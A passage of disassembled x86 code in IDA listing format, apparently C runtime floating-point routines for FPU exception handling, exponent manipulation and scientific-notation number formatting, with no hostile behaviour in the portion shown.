short loc_41C2BA ; --------------------------------------------------------------------------- loc_41C2B2: ; CODE XREF: sub_41C040+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_41C2BA: ; CODE XREF: sub_41C040+270j mov [esi], ecx jmp short loc_41C2C0 ; --------------------------------------------------------------------------- loc_41C2BE: ; CODE XREF: sub_41C040+257j and [esi], edx loc_41C2C0: ; CODE XREF: sub_41C040+260j ; sub_41C040+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_41C2E0 dec ecx jz short loc_41C2D7 dec ecx jnz short loc_41C2E9 and [esi], edx jmp short loc_41C2E9 ; --------------------------------------------------------------------------- loc_41C2D7: ; CODE XREF: sub_41C040+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_41C2E7 ; --------------------------------------------------------------------------- loc_41C2E0: ; CODE XREF: sub_41C040+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_41C2E7: ; CODE XREF: sub_41C040+29Ej mov [esi], ecx loc_41C2E9: ; CODE XREF: sub_41C040+291j ; sub_41C040+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_41C040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2F3 proc near ; CODE XREF: sub_41BFA8+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_41C31E test byte ptr [ebp+arg_8], bl jz short loc_41C31E push ebx call sub_41C7A0 pop ecx and edi, 0FFFFFFF7h jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C31E: ; CODE XREF: sub_41C2F3+15j ; sub_41C2F3+1Aj test al, 4 jz short loc_41C338 test byte ptr [ebp+arg_8], 4 jz short loc_41C338 push 4 call sub_41C7A0 pop ecx and edi, 0FFFFFFFBh jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C338: ; CODE XREF: sub_41C2F3+2Dj ; sub_41C2F3+33j test al, bl jz loc_41C412 test byte ptr [ebp+arg_8], 8 jz loc_41C412 push 8 call sub_41C7A0 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_41C3EA cmp ecx, 400h jz short loc_41C3C2 cmp ecx, 800h jz short loc_41C39A cmp ecx, eax jnz loc_41C40A mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fld dbl_43B8D0 fnstsw ax sahf ja short loc_41C392 fchs loc_41C392: ; CODE XREF: sub_41C2F3+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C39A: ; CODE XREF: sub_41C2F3+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fnstsw ax sahf jbe short loc_41C3B2 fld dbl_43B8C0 jmp short loc_41C3BA ; --------------------------------------------------------------------------- loc_41C3B2: ; CODE XREF: sub_41C2F3+B5j fld dbl_43B8D0 fchs loc_41C3BA: ; CODE XREF: sub_41C2F3+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C3C2: ; CODE XREF: sub_41C2F3+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fnstsw ax sahf jbe short loc_41C3DA fld dbl_43B8D0 jmp short loc_41C3E2 ; --------------------------------------------------------------------------- loc_41C3DA: ; CODE XREF: sub_41C2F3+DDj fld dbl_43B8C0 fchs loc_41C3E2: ; CODE XREF: sub_41C2F3+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C3EA: ; CODE XREF: sub_41C2F3+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fld dbl_43B8C0 fnstsw ax sahf ja short loc_41C402 fchs loc_41C402: ; CODE XREF: sub_41C2F3+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_41C408: ; CODE XREF: sub_41C2F3+A5j ; sub_41C2F3+CDj ... fstp qword ptr [ecx] loc_41C40A: ; CODE XREF: sub_41C2F3+81j and edi, 0FFFFFFFEh jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C412: ; CODE XREF: sub_41C2F3+47j ; sub_41C2F3+51j test al, 2 jz loc_41C4E8 test byte ptr [ebp+arg_8], 10h jz loc_41C4E8 push esi xor esi, esi test al, 10h jz short loc_41C42D mov esi, ebx loc_41C42D: ; CODE XREF: sub_41C2F3+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_424818 fnstsw ax sahf jz loc_41C4D6 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_41C69F mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_41C478 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_41C4CC ; --------------------------------------------------------------------------- loc_41C478: ; CODE XREF: sub_41C2F3+17Aj fld [ebp+var_C] fcomp dbl_424818 fnstsw ax sahf jnb short loc_41C48A mov edx, ebx jmp short loc_41C48C ; --------------------------------------------------------------------------- loc_41C48A: ; CODE XREF: sub_41C2F3+191j xor edx, edx loc_41C48C: ; CODE XREF: sub_41C2F3+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_41C4C0 sub eax, ecx loc_41C4A3: ; CODE XREF: sub_41C2F3+1CBj test byte ptr [ebp+var_C], bl jz short loc_41C4AE test esi, esi jnz short loc_41C4AE mov esi, ebx loc_41C4AE: ; CODE XREF: sub_41C2F3+1B3j ; sub_41C2F3+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_41C4BA or byte ptr [ebp+var_C+3], 80h loc_41C4BA: ; CODE XREF: sub_41C2F3+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_41C4A3 loc_41C4C0: ; CODE XREF: sub_41C2F3+1ACj test edx, edx jz short loc_41C4CC fld [ebp+var_C] fchs fstp [ebp+var_C] loc_41C4CC: ; CODE XREF: sub_41C2F3+183j ; sub_41C2F3+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_41C4D8 ; --------------------------------------------------------------------------- loc_41C4D6: ; CODE XREF: sub_41C2F3+14Ej mov esi, ebx loc_41C4D8: ; CODE XREF: sub_41C2F3+1E1j test esi, esi pop esi jz short loc_41C4E5 push 10h call sub_41C7A0 pop ecx loc_41C4E5: ; CODE XREF: sub_41C2F3+1E8j and edi, 0FFFFFFFDh loc_41C4E8: ; CODE XREF: sub_41C2F3+26j ; sub_41C2F3+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_41C4FF test byte ptr [ebp+arg_8], 20h jz short loc_41C4FF push 20h call sub_41C7A0 pop ecx and edi, 0FFFFFFEFh loc_41C4FF: ; CODE XREF: sub_41C2F3+1F9j ; sub_41C2F3+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_41C2F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int) sub_41C50A proc near ; CODE XREF: sub_41BF55+2Bp ; sub_41BFA8+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_41C5B8 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_41C575 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_41C77D lea eax, [ebp+var_20] push eax call sub_42017F add esp, 0Ch test eax, eax jnz short loc_41C56F push esi call sub_41C592 pop ecx loc_41C56F: ; CODE XREF: sub_41C50A+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_41C575: ; CODE XREF: sub_41C50A+14j push 0FFFFh push [ebp+arg_20] call sub_41C77D push [ebp+arg_0] call sub_41C592 fld [ebp+arg_18] add esp, 0Ch leave retn sub_41C50A endp ; =============== S U B R O U T I N E ======================================= sub_41C592 proc near ; CODE XREF: sub_41BFA8+7Dp ; sub_41C50A+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_41C5AD jle short locret_41C5B7 cmp eax, 3 jg short locret_41C5B7 mov dword_48A014, 22h retn ; --------------------------------------------------------------------------- loc_41C5AD: ; CODE XREF: sub_41C592+7j mov dword_48A014, 21h locret_41C5B7: ; CODE XREF: sub_41C592+9j ; sub_41C592+Ej retn sub_41C592 endp ; =============== S U B R O U T I N E ======================================= sub_41C5B8 proc near ; CODE XREF: sub_41C50A+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43B7E8 loc_41C5BF: ; CODE XREF: sub_41C5B8+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_41C5D5 add eax, 8 inc ecx cmp eax, offset dbl_43B8C0 jl short loc_41C5BF xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C5D5: ; CODE XREF: sub_41C5B8+Dj mov eax, off_43B7EC[ecx*8] retn sub_41C5B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C5DD proc near ; CODE XREF: sub_41BFA8+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_41C5E9 push 5 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5E9: ; CODE XREF: sub_41C5DD+6j test al, 8 jz short loc_41C5F1 push 1 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5F1: ; CODE XREF: sub_41C5DD+Ej test al, 4 jz short loc_41C5F9 push 2 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5F9: ; CODE XREF: sub_41C5DD+16j test al, 1 jz short loc_41C601 push 3 loc_41C5FF: ; CODE XREF: sub_41C5DD+Aj ; sub_41C5DD+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_41C601: ; CODE XREF: sub_41C5DD+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_41C5DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C60A(double) sub_41C60A proc near ; CODE XREF: sub_417CA4:loc_417D2Ap ; sub_417DEB:loc_417E71p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_41C60A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C61C(double,int) sub_41C61C proc near ; CODE XREF: sub_41C69F+82p ; sub_41C69F+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_41C61C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_417CA4+31p ; sub_417DEB+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_41C65C cmp [ebp+arg_0], edx jnz short loc_41C66E push 1 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C65C: ; CODE XREF: sub_41C645+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_41C66E cmp [ebp+arg_0], edx jnz short loc_41C66E push 2 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C66E: ; CODE XREF: sub_41C645+11j ; sub_41C645+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_41C681 push 3 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C681: ; CODE XREF: sub_41C645+36j cmp cx, 7FF0h jnz short loc_41C69B test [ebp+arg_4], 7FFFFh jnz short loc_41C696 cmp [ebp+arg_0], edx jz short loc_41C69B loc_41C696: ; CODE XREF: sub_41C645+4Aj push 4 loc_41C698: ; CODE XREF: sub_41C645+15j ; sub_41C645+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41C69B: ; CODE XREF: sub_41C645+41j ; sub_41C645+4Fj xor eax, eax pop ebp retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C69F(double,int) sub_41C69F proc near ; CODE XREF: sub_41C2F3+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_424818 push esi fnstsw ax sahf jnz short loc_41C6BF fldz xor esi, esi fstp [ebp+var_8] jmp loc_41C755 ; --------------------------------------------------------------------------- loc_41C6BF: ; CODE XREF: sub_41C69F+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_41C72E test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_41C6D7 cmp dword ptr [ebp+arg_0], ecx jz short loc_41C72E loc_41C6D7: ; CODE XREF: sub_41C69F+31j fld [ebp+arg_0] fcomp dbl_424818 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_41C6EF push 1 pop eax jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C6EF: ; CODE XREF: sub_41C69F+49j xor eax, eax loc_41C6F1: ; CODE XREF: sub_41C69F+4Ej ; sub_41C69F+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_41C70A shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_41C704 or dword ptr [ebp+arg_0+4], 1 loc_41C704: ; CODE XREF: sub_41C69F+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C70A: ; CODE XREF: sub_41C69F+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_41C718 or byte ptr [ebp+arg_0+7], 80h loc_41C718: ; CODE XREF: sub_41C69F+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C61C fstp [ebp+var_8] add esp, 0Ch jmp short loc_41C755 ; --------------------------------------------------------------------------- loc_41C72E: ; CODE XREF: sub_41C69F+28j ; sub_41C69F+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C61C mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_41C755: ; CODE XREF: sub_41C69F+1Bj ; sub_41C69F+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_41C69F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C760 proc near ; CODE XREF: sub_41C040+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C76E proc near ; CODE XREF: sub_41C040+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_41C76E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C77D proc near ; CODE XREF: sub_417CA4+13p ; sub_417CA4+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_41C77D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7A0 proc near ; CODE XREF: sub_41C2F3+1Dp ; sub_41C2F3+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_41C7B7 fld tbyte_43B8E8 fistp [ebp+arg_0] wait loc_41C7B7: ; CODE XREF: sub_41C7A0+Bj test cl, 8 jz short loc_41C7CC fstsw ax fld tbyte_43B8E8 fstp [ebp+var_8] wait fstsw ax loc_41C7CC: ; CODE XREF: sub_41C7A0+1Aj test cl, 10h jz short loc_41C7DB fld tbyte_43B8F4 fstp [ebp+var_8] wait loc_41C7DB: ; CODE XREF: sub_41C7A0+2Fj test cl, 4 jz short loc_41C7E9 fldz fld1 fdivrp st(1), st fstp st wait loc_41C7E9: ; CODE XREF: sub_41C7A0+3Ej test cl, 20h jz short locret_41C7F4 fldpi fstp [ebp+var_8] wait locret_41C7F4: ; CODE XREF: sub_41C7A0+4Cj leave retn sub_41C7A0 endp ; =============== S U B R O U T I N E ======================================= sub_41C7F6 proc near ; CODE XREF: sub_417D73+Fp push 30000h push 10000h call sub_4201B7 pop ecx pop ecx retn sub_41C7F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C808 proc near ; CODE XREF: sub_41C846:loc_41C86Aj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_424828 fstp [ebp+var_8] fld dbl_424820 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_4246A8 fnstsw ax sahf jbe short loc_41C842 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_41C842: ; CODE XREF: sub_41C808+33j xor eax, eax leave retn sub_41C808 endp ; =============== S U B R O U T I N E ======================================= sub_41C846 proc near ; CODE XREF: sub_417D73+5p push offset aKernel32 ; "KERNEL32" call near ptr 2700E3Fh nop test eax, eax jz short loc_41C86A push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call near ptr 26D063Fh nop test eax, eax jz short loc_41C86A push 0 call eax retn ; --------------------------------------------------------------------------- loc_41C86A: ; CODE XREF: sub_41C846+Dj ; sub_41C846+1Dj jmp sub_41C808 sub_41C846 endp ; =============== S U B R O U T I N E ======================================= sub_41C86F proc near ; CODE XREF: sub_419E38+3CBp ; DATA XREF: sub_417D8B+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_419101 cmp eax, 65h pop ecx jz short loc_41C8AF loc_41C883: ; CODE XREF: sub_41C86F+3Ej inc esi cmp dword_4397AC, 1 jle short loc_41C89C movsx eax, byte ptr [esi] push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41C8AB ; --------------------------------------------------------------------------- loc_41C89C: ; CODE XREF: sub_41C86F+1Cj movsx eax, byte ptr [esi] mov ecx, off_4395A0 mov al, [ecx+eax*2] and eax, 4 loc_41C8AB: ; CODE XREF: sub_41C86F+2Bj test eax, eax jnz short loc_41C883 loc_41C8AF: ; CODE XREF: sub_41C86F+12j mov cl, byte_4397B0 mov al, [esi] mov [esi], cl inc esi loc_41C8BA: ; CODE XREF: sub_41C86F+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_41C8BA pop esi retn sub_41C86F endp ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_419E38+3E2p ; DATA XREF: sub_417D8B+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_4397B0 mov cl, [eax] test cl, cl jz short loc_41C8E5 loc_41C8D9: ; CODE XREF: sub_41C8C9+1Aj cmp cl, dl jz short loc_41C8E5 mov cl, [eax+1] inc eax test cl, cl jnz short loc_41C8D9 loc_41C8E5: ; CODE XREF: sub_41C8C9+Ej ; sub_41C8C9+12j mov cl, [eax] inc eax test cl, cl jz short locret_41C916 loc_41C8EC: ; CODE XREF: sub_41C8C9+34j mov cl, [eax] test cl, cl jz short loc_41C8FF cmp cl, 65h jz short loc_41C8FF cmp cl, 45h jz short loc_41C8FF inc eax jmp short loc_41C8EC ; --------------------------------------------------------------------------- loc_41C8FF: ; CODE XREF: sub_41C8C9+27j ; sub_41C8C9+2Cj ... mov ecx, eax loc_41C901: ; CODE XREF: sub_41C8C9+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_41C901 cmp [eax], dl jnz short loc_41C90C dec eax loc_41C90C: ; CODE XREF: sub_41C8C9+40j ; sub_41C8C9+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_41C90C locret_41C916: ; CODE XREF: sub_41C8C9+21j retn sub_41C8C9 endp ; =============== S U B R O U T I N E ======================================= sub_41C917 proc near ; DATA XREF: sub_417D8B+28o ; ___:off_43B910o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_424818 fnstsw ax sahf jb short loc_41C92C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41C92C: ; CODE XREF: sub_41C917+Fj xor eax, eax retn sub_41C917 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C92F proc near ; CODE XREF: sub_41D797+430p ; DATA XREF: sub_417D8B+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_41C958 lea eax, [ebp+var_8] push eax call sub_42067A mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_41C958: ; CODE XREF: sub_41C92F+Cj lea eax, [ebp+arg_8] push eax call sub_4206A7 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_41C92F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C96D proc near ; CODE XREF: sub_41CBEA+17p ; sub_41CC34+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_48A084, 0 push ebx push esi jz short loc_41C9A2 mov ebx, [ebp+arg_8] mov eax, dword_48A080 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_41CC85 pop ecx pop ecx jmp short loc_41C9DA ; --------------------------------------------------------------------------- loc_41C9A2: ; CODE XREF: sub_41C96D+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_42074B mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_4206D4 add esp, 14h loc_41C9DA: ; CODE XREF: sub_41C96D+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41C9E6 mov byte ptr [eax], 2Dh inc eax loc_41C9E6: ; CODE XREF: sub_41C96D+73j test ebx, ebx jle short loc_41C9FE mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_4397B0 mov eax, edi pop edi mov [eax], cl loc_41C9FE: ; CODE XREF: sub_41C96D+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_48A084, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_4179C0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41CA25 mov byte ptr [ecx], 45h loc_41CA25: ; CODE XREF: sub_41C96D+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_41CA6A mov ebx, [esi+4] dec ebx jns short loc_41CA39 neg ebx mov byte ptr [ecx], 2Dh loc_41CA39: ; CODE XREF: sub_41C96D+C5j inc ecx cmp ebx, 64h jl short loc_41CA50 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41CA50: ; CODE XREF: sub_41C96D+D0j inc ecx cmp ebx, 0Ah jl short loc_41CA67 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41CA67: ; CODE XREF: sub_41C96D+E7j add [ecx+1], bl loc_41CA6A: ; CODE XREF: sub_41C96D+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_41C96D endp ; =============== S U B R O U T I N E ======================================= sub_41CA71 proc near ; CODE XREF: sub_41CC11+13p ; sub_41CC34+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_48A084, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_41CAAC mov eax, dword_48A088 mov ebx, [esp+10h+arg_8] mov esi, dword_48A080 cmp eax, ebx jnz short loc_41CADC xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_41CADC ; --------------------------------------------------------------------------- loc_41CAAC: ; CODE XREF: sub_41CA71+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_42074B mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_4206D4 add esp, 14h loc_41CADC: ; CODE XREF: sub_41CA71+22j ; sub_41CA71+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_41CAEA mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_41CAEA: ; CODE XREF: sub_41CA71+70j mov eax, [esi+4] test eax, eax jg short loc_41CB01 push 1 push edi call sub_41CC85 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_41CB03 ; --------------------------------------------------------------------------- loc_41CB01: ; CODE XREF: sub_41CA71+7Ej add edi, eax loc_41CB03: ; CODE XREF: sub_41CA71+8Ej test ebx, ebx jle short loc_41CB48 push 1 push edi call sub_41CC85 mov al, byte_4397B0 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_41CB48 cmp byte_48A084, 0 jz short loc_41CB2D neg esi jmp short loc_41CB33 ; --------------------------------------------------------------------------- loc_41CB2D: ; CODE XREF: sub_41CA71+B6j neg esi cmp ebx, esi jl short loc_41CB35 loc_41CB33: ; CODE XREF: sub_41CA71+BAj mov ebx, esi loc_41CB35: ; CODE XREF: sub_41CA71+C0j push ebx push edi call sub_41CC85 push ebx push 30h push edi call sub_417330 add esp, 14h loc_41CB48: ; CODE XREF: sub_41CA71+94j ; sub_41CA71+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_41CA71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB4F proc near ; CODE XREF: sub_41CC34+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_42074B mov dword_48A080, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_48A088, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_4206D4 mov eax, dword_48A080 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_48A088, ecx setl cl mov byte_48A08C, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_48A088, eax jl short loc_41CBD5 cmp eax, ebx jge short loc_41CBD5 test cl, cl jz short loc_41CBC6 loc_41CBBC: ; CODE XREF: sub_41CB4F+72j mov al, [esi] inc esi test al, al jnz short loc_41CBBC and [esi-2], al loc_41CBC6: ; CODE XREF: sub_41CB4F+6Bj push ebx push 